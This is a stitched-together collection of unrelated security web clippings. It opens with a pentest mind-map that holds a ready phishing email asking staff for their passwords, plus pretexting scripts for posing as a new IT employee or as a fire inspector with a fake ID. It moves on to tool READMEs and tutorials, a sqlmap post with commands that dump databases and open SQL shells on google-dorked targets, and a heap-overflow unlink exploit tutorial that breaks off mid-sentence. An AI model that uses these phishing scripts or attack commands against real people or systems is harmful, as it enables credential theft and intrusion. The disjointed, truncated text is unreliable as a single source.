            * Good Morning,The IT Department had a critical failure last night regarding remote access to the corporate network, this will only affect users that occasionally work from home.If you have remote access, please email me with your username and access requirements e.g. what remote access system did you use? VPN and IP address etc, and we will reset the system. We are also using this 'opportunity' to increase the remote access users, so if you believe you need to work from home occasionally, please email me your usernames so I can add them to the correct groups.If you wish to retain your current credentials, also send your password. We do not require your password to carry out the maintainence, but it will change if you do not inform us of it.We apologise for any inconvenience this failure has caused and are working to resolve it as soon as possible. We also thank you for your continued patience and help.Kindest regards,leeEMAIL SIGNATURE
          * Software
          * Results
          * Contact Details
            * Name
            * Phone number
            * Email
            * Room number
            * Department
            * Role
        * Other
      * Local
        * Personas
          * Name
            * Suggest same 1st name.
          * Phone
            * Give work mobile, but remember they have it\!
          * Email
            * Have a suitable email address
          * Business Cards
            * Get cards printed
        * Contact Details
          * Name
          * Phone number
          * Email
          * Room number
          * Department
          * Role
        * Scenarios
          * New IT employee
            * New IT employee."Hi, I'm the new guy in IT and I've been told to do a quick survey of users on the network. They give all the worst jobs to the new guys don't they? Can you help me out on this?"Get the following information, try to put a "any problems with it we can help with?" slant on it.UsernameDomainRemote access \(Type - Modem/VPN\)Remote email \(OWA\)Most used software?Any comments about the network?Any additional software you would like?What do you think about the security on the network? Password complexity etc.Now give reasons as to why they have complexity for passwords, try and get someone to give you their password and explain how you can make it more secure."Thanks very much and you'll see the results on the company boards soon."
          * Fire Inspector
            * Turning up on the premise of a snap fire inspection, in line with the local government initiatives on fire safety in the workplace.Ensure you have a suitable appearance - High visibility jacket - Clipboard - ID card \(fake\).Check for:number of fire extinguishers, pressure, type.Fire exits, accessibility etc.Look for any information you can get. Try to get on your own, without supervision\!
        * Results
        * Maps
          * Satalitte Imagery
            * Google Maps
          * Building layouts
        * Other
    * <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/icons/full-6.png' alt='full-6' />
Dumpster Diving

      * Rubbish Bins
      * Contract Waste Removal
      * Ebay ex-stock sales i.e. HDD
    * <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/icons/full-7.png' alt='full-7' />
Web Site copy

      * htttrack <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
      * teleport pro <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />
      * Black Widow <img src='http://www.vulnerabilityassessment.co.uk/Penetration Test.html_files/ilink.png' alt='User Link' />

# UKHomeOffice/repo-security-scanner

**Created:**| _9/23/2018 8:58:18 AM_  
---|---  
**Updated:**| _9/23/2018 8:58:18 AM_  
**Author:**| _wishi_  
**Tags:**| _Git OSINT_  
  

  

# repo-security-scanner

  * CLI tool that finds secrets accidentally committed to a git repo, eg passwords, private keys
  * Run it against your entire repo's history by piping the output from `git log -p`

* * *
## Installation

  1. Download the latest stable release of the CLI tool for your architecture
  2. Extract the tar and move the `scanrepo` binary to somewhere in your `$PATH`, eg `/usr/bin`

* * *
## Usage

Check the entire history of the current branch for secrets.

[code]

    $ git log -p | scanrepo
    
    ------------------
    Violation 1
    Commit: 4cc087a1b4731d1017844cc86323df43068b0409
    File: web/src/db/seed.sql
    Reason: "SQL dump file"
    
    ------------------
    Violation 2
    Commit: 142e6019248c0d53a5240242ed1a75c0cc110a0b
    File: config/passwords.ini
    Reason: "Contains word: password"
    
    ...
    
[/code]

* * *
### Add false positives to `.secignore`

[code]

    $ cat .secignore
    file/that/is/not/really/a/secret/but/looks/like/one/to/diffence
    these/pems/are/ok/*.pem
    
[/code]

See example in this repo.

* * *
## Notifications

Work in progress.

### Local Testing

#### Set environment variables needed

Create `env` file and update environment variables.

[code]

    $ cp .env{.example,}
    # update .env values
    $ vi .env
    $ source .env
    
[/code]

#### Launch containers

[code]

    $ docker-compose up -d
    
[/code]

#### Run test offenses

[code]

    $ make test-run-offenses
    
[/code]

### Debugging Elastalert

[code]

    $ docker exec -it <elastalert_container_hash> sh
    # run elastalert test rule utility within elastalert container
    $ elastalert-test-rule --config $ELASTALERT_CONFIG --count-only "$RULES_DIRECTORY/new_violation.yaml"
    $ elastalert-test-rule --alert --config $ELASTALERT_CONFIG "$RULES_DIRECTORY/new_violation.yaml"
    # run elastalert in debug mode
    $ elastalert --config "$ELASTALERT_CONFIG" --rule "$RULES_DIRECTORY/new_violation.yaml" --debug
    
[/code]

#### Logs

[code]

    $ tail -f /log/elastalert_new_violation_rule.log
    
[/code]

  

# Research, Develop, Assess, Consult & Educate | Recx: Windows AppCompat Research Notes - Part 1
**Created:**| _4/30/2012 3:00:54 PM_  
---|---  
**Updated:**| _4/30/2012 3:00:54 PM_  
**Author:**| __  
**Tags:**| _windows security vulnerability_  
  

### Windows AppCompat Research Notes - Part 1

These notes have be sitting around in a file for a while now. The reason we're
publishing them is to both motivate ourselves and also to motivate others to
continue documenting how AppCompat on Microsoft Windows works.

  

Overview

AppCompat is built into the Windows loader that provides a common
infrastructure to patch the IAT \(Import Address Table\) of a process for
shimming. AppCompat at its core is made up of databases / DLLs that define
which shims apply to which binaries.

  

Why do we care about AppCompat when we're security people? We'll there are
several reasons. For example there is an AppCompat patch to use a 'Fault
tolerant heap'. So even applications deployed on the latest and greatest
Windows may not be able to use the default heap and revert to a less secure
implementation due to 'compatibility reasons' \(which is code for they corrupt
their heap\). Knowing this information allows us to better understand our
exposure.

  

We also see other applications for AppCompat to improve security using a
Microsoft sanctioned patching mechanism. For example we think it would be
great you could deploy via the AppCompat enterprise configuration VirtualAlloc
replacements for all processes.

  

Prior Research / Database Structure

Alex Ionsecu looked into AppCompat and the database \[1\]\[2\]\[3\]\[4\].
We're not going to repeat what he said so we encourage you to go and read that
first. However his SDB tool from part 4 can be built using the Microsoft APIs.

  

There is also interesting Chinese blog post from 2008 which details quite a
bit about how stuff works \(although via Google translate it's hard going\).

  

Building Databases / Configuring Applications

If you want to see which fixes are available via a GUI and experiment
Microsoft make a tool available called the Microsoft Application Compatibility
Toolkit. This can be used to build new AppCompat databases and configurations.
It can also be used to investigate the available fix if you don't want to
implement a tool like Alex's.

  

Files related to AppCompat

The files on Windows 7 at least which appear to make up AppCompat are \(note:
does not document the loader aspects\):

  

Core Engine

  * ShimEng.dll

Miscellaneous files

  * AMX\amxread.dll
  * APILog\apilogen.dll

General AppCompat

  * AppPatch\AcGenral.dll
  * AppPatch\AcLayers.dll
  * AppPatch\AcRes.dll
  * AppPatch\AcSpecfc.dll
  * AppPatch\acwow64.dll
  * AppPatch\AcXtrnal.dll
  * AppPatch\apihex86.dll
  * AppPatch\AppPatch64\AcGenral.dll
  * AppPatch\AppPatch64\AcLayers.dll
  * AppPatch\AppPatch64\acspecfc.dll
  * AppPatch\AppPatch64\AcXtrnal.dll
  * AppPatch\AppPatch64\apihex64.dll
  * AppPatch\en-US\AcRes.dll.mui

Application Verifier \(yes it too uses the AppCompat infrastructure\)

  * AppVer\vfbasics.dll
  * AppVer\vfcompat.dll
  * AppVer\vfLuaPriv.dll
  * AppVer\vfpodbc.dll
  * AppVer\vfprint.dll
  * AppVer\vfprintpthelper.dll
  * AppVer\vfwwdm32.dll
  * AppVer\vrfcore.dll

  

AppCompat DLL Structure

As Alex noted it appears Microsoft use a C++ class \(its called ShimLib::\)
internally when implementing AppCompat DLLs. AppCompat is used by Microsoft
technologies such as EMET and Application Verifier. For example see EMET.dll
in C:\Program Files \(x86\)\EMET and you'll see it has the standard AppCompat
exports:

  * GetHookAPIs\(char \*,ushort \*,ulong \*\)
  * NotifyShims\(char \*, unsigned \_\_int16 \*, unsigned \_\_int32 \*\)

During our research we found a single DLL, apihex86.dll, that doesn't use the
Microsoft C++ class \(ShimLib::\) that the others do. As a result it's this
binary that we're focusing our efforts on in order to understand the interface
so we can look at writing out own shims \(also its tiny compared to the
others\).

  

Looking at GetHookAPIs we see it sets up an array of structures with both the
original API and the new API to be called in its place before passing the
array back to the caller. In short quite simple...

  

AppCompat Machine Deployment

When AppCompat is used on a machine the registry key
HKEY\_LOCAL\_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\AppCompatFlags is populated. For example on my machine where
I have deployed EMET against a process \(we've previously mentioned EMET uses
AppCompat\) we see a custom AppCompat \(SDB\) database installed:

  

<img src='img/Temp2_6822.png' width='400' height='142' />  
---  
Click for larger version  
Then a mapping between these two databases and the EMET configured process:

<img src='img/Temp2_6821.png' width='400' height='140' />  
---  
Click for larger version  
  

  

Conclusions

You know you're looking at something interesting when you Google '_shimlib
appcompat_ ' and get 0 results and '_appcompat gethookapi_ ' gets you 8.
Anyway that's it for now...

# Eli Bendersky's website » Blog Archive » Python internals: Working with
Python ASTs

**Created:**| _9/8/2011 11:42:33 PM_  
---|---  
**Updated:**| _9/8/2011 11:42:33 PM_  
**Author:**| __  
**Tags:**| _compiler-building python analysis static_  
  

## Python internals: Working with Python ASTs

November 28th, 2009 at 1:02 pm

Starting with Python 2.5, the Python compiler \(the part that takes your
source-code and translates it to Python VM code for the VM to execute\) works
as follows \[1\]:

  1. Parse source code into a parse tree \(`Parser/pgen.c`\)
  2. Transform parse tree into an Abstract Syntax Tree \(`Python/ast.c`\)
  3. Transform AST into a Control Flow Graph \(`Python/compile.c`\)
  4. Emit bytecode based on the Control Flow Graph \(`Python/compile.c`\)

Previously, the only place one could tap into the compilation process was to
obtain the parse tree with the `parser` module. But parse trees are much less
convenient to use than ASTs for code transformation and generation. This is
why the addition of the `_ast` module in Python 2.5 was welcome – it became
much simpler to play with ASTs created by Python and even modify them. Also,
the python built-in `compile` function can now accept an AST object in
addition to source code.

Python 2.6 then took another step forward, including the higher-level `ast`
module in its standard library. `ast` is a convenient Python-written toolbox
to aid working with `_ast` \[2\]. All in all we now have a very convenient
framework for processing Python source code. A full Python-to-AST parser is
included with the standard distribution – what more could we ask? This makes
all kinds of language transformation tasks with Python very simple.

What follows are a few examples of cool things that can be done with the new
`_ast` and `ast` modules.

#### Manually building ASTs

[code]

    import ast
    
    node = ast.Expression(ast.BinOp(
                    ast.Str('xy'),
                    ast.Mult(),
                    ast.Num(3)))
    
    fixed = ast.fix_missing_locations(node)
    
    codeobj = compile(fixed, '<string>', 'eval')
    print eval(codeobj)
    
[/code]

Let’s see what is going on here. First we manually create an AST node, using
the AST node classes exported by `ast` \[3\]. Then the convenient
`fix_missing_locations` function is called to patch the `lineno` and
`col_offset` attributes of the node and its children.

Another useful function that can help is `ast.dump`. Here’s a formatted dump
of the node we’ve created:

[code]

    Expression(
      body=BinOp(
             left=Str(s='xy'),
             op=Mult(),
             right=Num(n=3)))
    
[/code]

The most useful single-place reference for the various AST nodes and their
structure is `Parser/Python.asdl` in the source distribution.

#### Breaking compilation into pieces

Given some source code, we first parse it into an AST, and then compile this
AST into a code object that can be evaluated:

[code]

    import ast
    
    source = '6 + 8'
    node = ast.parse(source, mode='eval')
    
    print eval(compile(node, '<string>', mode='eval'))
    
[/code]

Again, `ast.dump` can be helpful to show the AST that was created:

[code]

    Expression(
      body=BinOp(
             left=Num(n=6),
             op=Add(),
             right=Num(n=8)))
    
[/code]

#### Simple visiting and transformation of ASTs

[code]

    import ast
    
    class MyVisitor(ast.NodeVisitor):
        def visit_Str(self, node):
            print 'Found string "%s"' % node.s
    
    class MyTransformer(ast.NodeTransformer):
        def visit_Str(self, node):
            return ast.Str('str: ' + node.s)
    
    node = ast.parse('''
    favs = ['berry', 'apple']
    name = 'peter'
    
    for item in favs:
        print '%s likes %s' % (name, item)
    ''')
    
    MyTransformer().visit(node)
    MyVisitor().visit(node)
    
[/code]

This prints:

[code]

    Found string "str: berry"
    Found string "str: apple"
    Found string "str: peter"
    Found string "str: %s likes %s"
    
[/code]

The visitor class implements methods that are called for relevant AST nodes
\(for example `visit_Str` is called for `Str` nodes\). The transformer is a
bit more complex. It calls relevant methods for AST nodes and then replaces
them with the returned value of the methods.

To prove that the transformed code is perfectly valid, we can just compile and
execute it:

[code]

    node = ast.fix_missing_locations(node)
    exec compile(node, '<string>', 'exec')
    
[/code]

As expected \[4\], this prints:

[code]

    str: str: peter likes str: berry
    str: str: peter likes str: apple
    
[/code]

#### Reproducing Python source from AST nodes

Armin Ronacher \[5\] wrote a module named `codegen` that uses the facilities
of `ast` to print back Python source from an AST. Here’s how to show the
source for the node we transformed in the previous example:

[code]

    import codegen
    print codegen.to_source(node)
    
[/code]

And the result:

[code]

    favs = ['str: berry', 'str: apple']
    name = 'str: peter'
    for item in favs:
        print 'str: %s likes %s' % (name, item)
    
[/code]

Yep, looks right. `codegen` is very useful for debugging or tools that
transform Python code and want to save the results \[6\]. Unfortunately, the
version you get from Armin’s website isn’t suitable for the `ast` that made it
into the standard library. A slightly patched version of `codegen` that works
with the standard 2.6 library can be downloaded here.

#### So why is this useful?

Many tools require parsing the source code of the language they operate upon.
With Python, this task has been trivialized by the built-in methods to parse
Python source into convenient ASTs. Since there’s very little \(if any\) type
checking done in a Python compiler, in classical terms we can say that a
complete Python front-end is provided. This can be utilized in:

  * IDEs for various "intellisense" needs
  * Static code checking tools like pylint and pychecker
  * Python code generators like pythoscope
  * Alternative Python interpreters
  * Compilers from Python to other languages

There are surely other uses I’m missing. If you’re aware of a library/tool
that uses `ast`, let me know.

<img src='img/Temp2_2560.jpg' alt='http://eli.thegreenplace.net/wp-
content/uploads/hline.jpg' />

\[1\]| Taken from the excellent PEP 339. This PEP is well worth the read – it
explains each of the 4 steps in details with useful pointers into the source
code where more information can be obtained.  
---|---  
\[2\]| `_ast` is implemented in `Python/Python-ast.[ch]` which can be obtained
from the source distribution.  
---|---  
\[3\]| Actually, they are exported by `_ast`, but `ast` does `from _ast import
*`  
---|---  
\[4\]| Why so many `str:`? It’s not a mistake\!  
---|---  
\[5\]| The author of the `ast` module.  
---|---  
\[6\]| For example, the pythoscope tool for auto generating unit-tests from
code could probably benefit from `ast` and `codegen`. Currently it seems to be
working on the level of Python parse trees instead.  
---|---  
Related posts:

  1. ASTs for analyzing C
  2. Python internals: adding a new statement to Python
  3. Python internals: Symbol tables, part 1
  4. Python internals: Symbol tables, part 2
  5. Abstract vs. Concrete Syntax Trees

# npm registry

**Created:**| _4/6/2011 8:32:09 AM_  
---|---  
**Updated:**| _4/6/2011 8:32:09 AM_  
**Author:**| __  
**Tags:**| _programming JavaScript_  
  

npm registry

# Build a collage of your next pentest « Joshua "Jabra" Abraham

**Created:**| _12/12/2009 4:48:23 PM_  
---|---  
**Updated:**| _12/12/2009 5:21:06 PM_  
**Author:**| __  
**Tags:**| _pentest Metasploit LOLZ_  
  

## Build a collage of your next pentest

December 12, 2009

Here is some code I wrote recently that will take a screenshot of all active
metasploit sessions:

http://spl0it.org/files/patches/metasploit/screenshoter.rb

To leverage this code just copy the file into the plugins directory of
metasploit v3. Then open up msfconsole and exploit several systems….

Finally, load the plugin and run the screenshot\_all\_sessions command:  
`msf> load screenshoter  
msf> screenshot_all_sessions`

All screenshots will be saved to disk. I have included the IP address in the
filename to make things easier for data correlation.

Happy Holidays\! Ph33r\!

-Jabra

# ssen's blog: Building xnu for OS X 10.9 Mavericks

**Created:**| _10/24/2013 12:21:12 PM_  
---|---  
**Updated:**| _10/24/2013 12:21:12 PM_  
**Author:**| __  
**Tags:**| _programming Mac-hacking xnu_  
  

# **B** uilding xnu for OS X 10.9 Mavericks****

The OS X kernel source \(xnu\) has been released for OS X 10**.** 9 Mavericks:
here  
  
Building xnu requires Xcode and some additional open-source \(but not pre-
installed\) dependencies**.** You can build xnu manually by doing:

  1. Install OS X Mavericks and Xcode 5**.** 0.1, make sure the Xcode license has been agreed-to with "sudo xcodebuild -license"
  2. Download the source for the dtrace and AvailabilityVersions projects, which are required dependencies, as well as xnu itself
[code]    $ curl -O
http://opensource.apple.com/tarballs/dtrace/dtrace-118.tar**.** gz

    $ curl -O http://opensource.apple.com/tarballs/AvailabilityVersions/AvailabilityVersions-6.tar**.** gz
    $ curl -O http://opensource.apple.com/tarballs/xnu/xnu-2422**.** 1.72.tar.gz
[/code]

  3. Build and install CTF tools from dtrace
[code]    $ tar zxf dtrace-118.tar**.** gz

    $ cd dtrace-118
    $ mkdir -p obj sym dst
    $ xcodebuild install -target ctfconvert -target ctfdump -target ctfmerge ARCHS="x86_64" SRCROOT=$PWD OBJROOT=$PWD/obj SYMROOT=$PWD/sym DSTROOT=$PWD/dst
    ..**.**
    $ sudo ditto $PWD/dst/usr/local /usr/local
    Password:
    $ cd ..
    
[/code]

  4. Install AvailabilityVersions
[code]    $ tar zxf AvailabilityVersions-6.tar**.** gz

    $ cd AvailabilityVersions-6
    $ mkdir -p dst
    $ make install SRCROOT=$PWD DSTROOT=$PWD/dst
    $ sudo ditto $PWD/dst/usr/local `xcrun -sdk / -show-sdk-path`/usr/local
    $ cd ..
    
[/code]

  5. Build xnu
[code]    $ tar zxf xnu-2422**.** 1.72.tar**.** gz

    $ cd xnu-2422.1.72
    $ make ARCH_CONFIGS=X86_64 KERNEL_CONFIGS=RELEASE
[/code]

#### No comments**** :

Post a Comment

****

# grsecurity forums • View topic - VMWare and UDEREF

**Created:**| _12/22/2009 9:57:10 AM_  
---|---  
**Updated:**| _12/22/2009 9:57:20 AM_  
**Author:**| __  
**Tags:**| _policies Lab-Setup_  
  
I'm making a sticky post for this, as some users may get bit by a recent
necessary change to PaX's UDEREF \(made a few days ago\). Previously, UDEREF
would detect the VMWare I/O backdoor, and if detected, would disable UDEREF
for the guest. This was to avoid a conflict with VMWare that would cause
incredibly poor performance on the guest. There now exist options available
through the main interface of VMWare to choose to specifically use hardware-
based virtualization for VM guests. The use of these options have no conflicts
with UDEREF, so disabling UDEREF at startup in these cases was unnecessary.  
  
If you're booting a VM guest with UDEREF enabled and the "Preferred mode"
under Virtual Machine Settings -> Hardware -> Processors -> Execution Mode is
set to "Automatic" or "Binary Translation", you need to:  
Append "pax\_nouderef" to your kernel command line  
Check the "Disable acceleration for binary translation" option  
If the second operation listed here is not done, there's some bug in VMWare's
binary translation that causes the same poor performance even with UDEREF
enabled but pax\_nouderef used  
  
Alternatively, you choose one of the two below options at some performance
cost to keep UDEREF without the significant impact of it with binary
translation:  
Choose "Intel VT-x or AMD-v" as the "Preferred mode"  
Choose "Intel VT-x/EPT or AMD-V/RVI" as the Preferred mode"  
  
-Brad

# MacroMonkey - View forum - Sirmabus plug-ins

**Created:**| _3/30/2011 5:58:42 AM_  
---|---  
**Updated:**| _3/30/2011 5:58:49 AM_  
**Author:**| __  
**Tags:**| _bookmark iDA plugin_  
  
  
<img src='img/Temp2_5069.gif' width='18' height='18' alt='No new posts' /> | GUID-Finder |  Sirmabus |  0 |  53 |  Mar 29th, '11, 00:54 Sirmabus <img src='img/Temp2_5070.gif' width='13' height='9' alt='View the latest post' />  
---|---|---|---|---|---  
<img src='img/Temp2_5069.gif' width='18' height='18' alt='No new posts' /> | IDA2PAT Reloaded |  Sirmabus |  0 |  47 |  Mar 29th, '11, 00:16 Sirmabus <img src='img/Temp2_5070.gif' width='13' height='9' alt='View the latest post' />  
<img src='img/Temp2_5069.gif' width='18' height='18' alt='No new posts' /> | Function String Associate |  Sirmabus |  0 |  54 |  Mar 28th, '11, 22:33 Sirmabus <img src='img/Temp2_5070.gif' width='13' height='9' alt='View the latest post' />  
<img src='img/Temp2_5069.gif' width='18' height='18' alt='No new posts' /> | Class Informer |  Sirmabus |  0 |  77 |  Mar 28th, '11, 01:16 Sirmabus <img src='img/Temp2_5070.gif' width='13' height='9' alt='View the latest post' />  
<img src='img/Temp2_5069.gif' width='18' height='18' alt='No new posts' /> | ExtraPass |  Sirmabus |  0 |  71 |  Mar 27th, '11, 23:59 Sirmabus <img src='img/Temp2_5070.gif' width='13' height='9' alt='View the latest post' />  
  

# MalwareReverseBrasil/malwaresearch

**Created:**| _5/13/2017 4:49:37 PM_  
---|---  
**Updated:**| _5/13/2017 4:49:37 PM_  
**Author:**| __  
**Tags:**| _security tools Detection Malware-analysis_  
  

  

###  README.md

# **malwaresearch** A command line tool to find malwares\!

Tool developed for searching malwares at openmalware.org by command line,
allowing specific malware download by shell. Soon we'll input more sources
like **MalShare, MalwareBlacklist, Malware.lu's AVCaesar and Malwr**.

* * *
## __Usage

Optional Arguments:

[code]

    $ Malwaresearch.py [--h HELP] [-f FIND] [-w WRITE] 
    [-o OUTPUT] [-d DOWNLOAD] [-hash HASH
    
    -h,HELP, --help Show this help message and exit
    -f FIND, --find   Enter your search via NAME, MD5, SHA1, SHA256 or an Common Signature name.
    -w WRITE, --write Save this result on file
    -o OUTPUT, --output Max numbers of malwares search
    -d DOWNLOAD, --download Download your specific malware
    
[/code]

<img
src='img/687474703a2f2f696d6167652e70726e747363722e636f6d2f696d6167652f64316561313732353164653634363663383435386161356466386661636266382e706e67.webp'
width='656' height='652' alt='output example' />

> __**Developers:**
>   * **Ialle Teixeira,** Security/Malware Researcher blog,
>   * **Vandré Augusto,** Electric Engineer & Malware Researcher blog.
>

  

# Online Hash Database - MD5, SHA-1, SHA-256, SHA-384, SHA-512 | demashme.com
**Created:**| _12/29/2010 10:34:15 AM_  
---|---  
**Updated:**| _12/29/2010 10:34:15 AM_  
**Author:**| __  
**Tags:**| _bookmark_  
  
Online Hash Database - MD5, SHA-1, SHA-256, SHA-384, SHA-512 | demashme.com

# Practical Software Verification

**Created:**| _7/31/2009 7:38:55 PM_  
---|---  
**Updated:**| _7/31/2009 7:39:04 PM_  
**Author:**| __  
**Tags:**| _security tools code-checks_  
  
**Welcome to the Practical Software Verification wiki** Add this to your RSS
reader to keep up with additions to the site and blog posts by our members.
\(If you have a blog related to the subject and want it added to the feed
email nnp 'at' unprotectedhex.com\)  
---  
## Contents

  * 1 What is the point of this wiki?
  * 2 What do you mean by 'verification' and 'formal techniques'?
  * 3 Excellent, I can just give up on fuzzing then?
  * 4 Where to start
  * 5 How to contribute

  
---  
## What is the point of this wiki?

This wiki is intended as a repository of resources on the topic of software
verification. The focus of the material is on practical formal techniques for
discovering bugs in software and program analysis. This includes:

  * Papers and books on formal techniques useful in finding/exploiting security vulnerabilities and program analysis
  * Papers and books on the fundamental theory behind the first point
  * Links to open source code that implements these techniques
  * Lists of related events, conferences and other useful pages

Practical implementations of formal verification techniques are fairly
uncommon in the software security industry at the moment as the fundamental
material tends to be relatively scattered. The main aim of this wiki is to
gather this material and present it in such as a way as to support the
building of tools that find bugs in real software.

## What do you mean by 'verification' and 'formal techniques'?

By these terms we mean techniques for finding bugs in software that have
provable properties regarding how they work and what they achieve. They
typically offer certain guarantees, such as no false positives/false
negatives, under explicit assumptions about the problem domain. Most
techniques are backed by mathematical proofs and tend to have a formal
description.

Approaches/techniques often grouped under 'formal verification' include
symbolic analysis, abstract interpretation, data/control flow analysis,
predicate abstraction, constraint gathering/solving, model checking and so on.
Unlike fuzzing these methods can offer assurances about their effectiveness
due to the use of peer reviewed algorithms backed by formal proofs. When it
comes to implementation time some of the formal fancyness is often sacrificed
but these changes are explicit and so we can still offer guarantees about the
quality of software that are impossible with fuzzing.

The techniques to find bugs can be extended to deal with a variety of other
problems including exploit generation, intrusion detection and...erm...
solving sudoku puzzles.

## Excellent, I can just give up on fuzzing then?

Erm..no. Some tools actually combine static analysis and fuzzing to get the
best of both worlds by using static analysis to direct the fuzzer and then
using the fuzzer to find the bugs. Nobody with any sense gave up on manual
auditing when fuzzing became popular and the same applies here. Tools based on
verification theory are just another way to find bugs and not a silver bullet
by a long way.

## Where to start

If you're new to formal verification we'd recommend heading over to the papers
section and reading some of the introductory and survey material. To get
started using some of the tools there are a number of projects linked in the
open source projects section. We also have an IRC channel for discussing
topics related to this area. If you would like to join \(and contribute, no
idlers :P\) then email nnp 'at' unprotectedhex.com for the server details.

## How to contribute

There is a huge amount of material available on software verification. Some of
it is practical, more of it is not. To turn this website into a useful
resource we need to find those papers that are going to help people build
tools that find real bugs. If you read a paper and think the theory presented
could help in achieving this goal then head over to the papers section and
upload a link and as much information as you feel like. The same goes for
books and open source projects. Feel free to contribute as much as you want
via the wiki, IRC channel and mailing list.

If you're knowledgeable about this field and think you could improve the site
in any way then just start editing, it is a wiki after all\!

# PaulDotCom: Archives

**Created:**| _5/19/2009 7:33:27 PM_  
---|---  
**Updated:**| _5/19/2009 7:33:36 PM_  
**Author:**| __  
**Tags:**| _security tools sql-injection_  
  

One of the questions that we get on a regular basis is "Are there any good
tools for SQL Injection?"

There are a number of great tools that do this commercially like Core Impact
and Cenzic Hailstorm. However, many tools will simply alert you that a SQL
Injection vulnerability exists then leave it at that.

We are penetration testers so proof is kind of important. Simply stating that
you found a SQL injection vulnerability because your tool said so is not
enough.

To that end, I would like to introduce you to sqlmap.

First up, I would like to say thanks to the developers Bernardo Damele A. G.
and Daniele Bellucci.

Now I would like to show you a short video of the tool.

Why does this tool rock?

Glad you asked.

First, it has the ability to process results from burpsuite and webscarab with
the -l option:

Like..

\# **./sqlmap.py -l /tmp/webscarab.log/conversations/**  
---  
It also has the ability automatically dump data. For example it can dump the
database version and the tables in the database.

To do this you would use the --dump-all switch like:

\# **./sqlmap.py --dump-all -u "testurl.com"**  
---  
Next, it has the ability to use googledork search strings. Yep, thats right
googledorking and SQL Injection... Honestly, does it get any better?

\# **./sqlmap.py --dump-all -g "site:testsite.com ext:php"**  
---  
The above command will have google crawl a website and pull all pages with a
php extension. After sqlmap has a nice list of targets it tries to attack
them.

Finally, and in my humble opinion most importantly, it can get you a SQL
shell.

To do this use the --sql-shell option and it will try to give you a shell.

\# **./sqlmap.py --sql-shell -g "site:testsite.com ext:php"**  
---  
  

<img src='img/Temp2_6167.jpg' width='95' height='100' alt='borat-high-
five.jpg' />

**Very nice\!\!\!**

Once again, I want to drive home the importance of proof. Our jobs as testers
is to demonstrate risk. To do that we need to act like a threat and interact
with a vulnerability. Simply stating that a tool said there is a vulnerability
is not enough. Also, we should be after what the attackers are after....
Data\! What better place to get data then a SQL database?

strandjs  

#### Categories:

  * Geek Stuff,
  * Security,
  * Security Weekly,
  * Videos

# Lookycode - Bye, Bye BASE. Sup Snorby... 2.0\!

**Created:**| _12/9/2010 9:20:26 PM_  
---|---  
**Updated:**| _12/9/2010 9:24:04 PM_  
**Author:**| __  
**Tags:**| _iDS/iPS awesome Defense_  
  

Today, Mephux and I are proud to announce the immediate availability of Snorby
2.0.  
The goal of this release is to be the new de facto companion to all Snort,
Suricata, and Sagan installations.

Here are the details for the impatient:

Source  
https://github.com/Snorby/snorby/tree/2.0.0

Demo  
URL: http://demo.snorby.org  
User: demo@snorby.org  
Password: snorby

Insta-Snorby – Official Live CD and Turn-Key based Appliance \(Beta\)  
Download .iso here

Snorby 2.0 blows 1.14 out of the water. Here are the reasons why:

**1\. Complete code re-write**

Snorby has been written completely from the ground up using Rails 3 and Ruby
1.9.2. Snorby 2.0’s visual design has been completely overhauled and offers
analysts advanced keyboard shortcuts for handling large volumes of events.

**2\. It finally scales\!**

The original Snorby achilles heel was its ability to just fall flat on its
face with larger installations. Snorby 1.x tried to do all of the work at once
from the Snort DB when the user requested a page. This resulted in a sluggish
application that would chew through CPU faster than Mephux goes through fried
chicken.

Snorby 2.0 changes that by forking off job workers that process metrics for
the dashboard and reports in regular intervals. This allows Snorby to scale to
installations receiving a Snort alert every second of every minute of every
day.

**3\. Full Packet Capture Support**

It’s here\! Snorby can easily pull full packet transcripts \(in .pcap form\)
with the help of the Open Full Packet Capture Project \(Open FPC\).

When Open FPC is installed and the FPC plugin is enabled on the admin menu,
Snorby will allow you to quickly pull full packet captures to see a full
transcript of the events preceding an alert payload.

You can read more about Open FPC at http://www.openfpc.org.

**4\. Metrics and reports that make sense**

Snorby has gotten its act together and introduced metrics that are more
relevant to analysts and network admins without all the useless 3D effects and
other chartjunk.

Snorby also offers these beautiful metrics through daily, weekly, monthly, and
yearly PDF reports automatically sent via mail.

**5\. Insta-Snorby – The Snort Instant beginners and appliance builders**

Insta-Snorby is an easy to install Snort, Barnyard2, Snorby solution that runs
on Ubuntu 10.04.

Download the beta here

**6\. Everything else**

There is a ton of new stuff we will be writing and screencasting about over
the next few weeks. The quickest way is to discover it all for yourselves is
to try Snorby 2.0 at http://demo.snorby.org \(see details above for
credentials\).

Thanks again to all the users who contributed bug reports, documentation, and
general encouragement. You guys are awesome and made this release possible.

We look forward to your feedback, bug reports and general comments. The team
is committed to immediately delivering on bug-fixes and patches so please do
not be shy about report issues.

If you have any installation questions you can also ask the team on Freenode
\#snorby.

Happy Snorbying :\)

Jason Meller & Dustin Willis Webber – The Snorby Core Team.

# Heap overflow using unlink

**Created:**| _4/6/2015 9:10:21 PM_  
---|---  
**Updated:**| _4/6/2015 9:10:21 PM_  
**Author:**| __  
**Tags:**| _Exploit Heap_  
  
  

# sploitF-U-N

##

Skip to content

  * Home
  * Archives
  * Me

# Heap overflow using unlink

Posted on February 26, 2015 by sploitfun

_Prerequisite_ :

  1. Understanding glibc malloc

In this post lets learn how heap overflow can be successfully exploited using
unlink technique. But before looking into unlink, first lets look into a
vulnerable program:

[code]

    /* 
     Heap overflow vulnerable program. 
     */
    #include <stdlib.h>
    #include <string.h>
    
    int main( int argc, char * argv[] )
    {
            char * first, * second;
    
    /*[1]*/ first = malloc( 666 );
    /*[2]*/ second = malloc( 12 );
            if(argc!=1)
    /*[3]*/         strcpy( first, argv[1] );
    /*[4]*/ free( first );
    /*[5]*/ free( second );
    /*[6]*/ return( 0 );
    }
[/code]

Line \[3\] of the above program results in heap overflow. User input
‘argv\[1\]’ is copied to heap buffer ‘first’ without any size restriction.
Hence when the user input is greater than 666 bytes, its bounded to overwrite
chunk header of the next chunk. This overflow leads to arbitrary code
execution.

Pictorial view of heap memory for the vulnerable program:

<img src='img/4896_pub.png' width='739' height='661' />

_Unlink_: The main idea of this technique is to trick ‘glibc malloc’ to unlink
the ‘second’ chunk. While unlinking GOT entry of free would get overwritten
